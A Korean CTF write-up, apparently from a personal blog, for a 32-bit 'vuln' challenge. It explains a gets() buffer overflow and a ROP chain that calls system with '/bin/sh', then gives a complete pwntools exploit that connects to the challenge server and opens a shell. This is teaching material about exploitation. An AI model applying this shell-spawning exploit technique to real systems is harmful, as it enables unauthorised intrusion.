Download: vuln
32bit ELF 바이너리 파일이고 보호기법은 NX만 걸려있다. 편하게 IDA로 디컴파일해서 로직을 확인한다.
간단한 ROP 문제이다.
"/bin/sh" 문자열이 global에 정의되어 있고 system 함수가 포함되어 있다. vuln 함수에서 gets로 인해 BOF 공격을 수행할 수 있고, system을 호출하면서 인자로 "/bin/sh"을 넘겨주면 무난하게 shell을 얻을 수 있다.
"/bin/sh"의 주소는 0x8048660이고 system@plt의 주소는 0x80483E0이다.
프로그램 자체에서 주소를 주기도 하지만 PIE가 걸려있지 않으므로 output을 처리하는 루틴을 구현하지 않아도 된다.
ROP를 위한 pop; ret; gadget은 rp++로 구하거나 gdb의 ropgadget을 써서 구하는 등 여러 경로로 구할 수 있다. 여기서는 rp++을 사용했다.
0x80483A5 또는 0x8048656을 사용하면 된다.
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./vuln')
else :
p = connect('icewall-ctf.kr', 10200)
system_plt = 0x80483E0
pop_ebx_ret = 0x80483A5
sh_str = 0x8048660
payload = 'A'*(0x12+4)
payload += p32(system_plt)
payload += p32(pop_ebx_ret)
payload += p32(sh_str)
p.sendline(payload)
p.interactive()
'ICEWALL' 카테고리의 다른 글
[System] typing_practice / 200 (0) | 2019.07.19 |
---|---|
[System] fsb32 / 150 (0) | 2019.07.19 |
[System] canary / 150 (0) | 2019.07.19 |
[System] bofbaby2 / 120 (0) | 2019.07.18 |
[System] command_injection / 100 (0) | 2019.07.18 |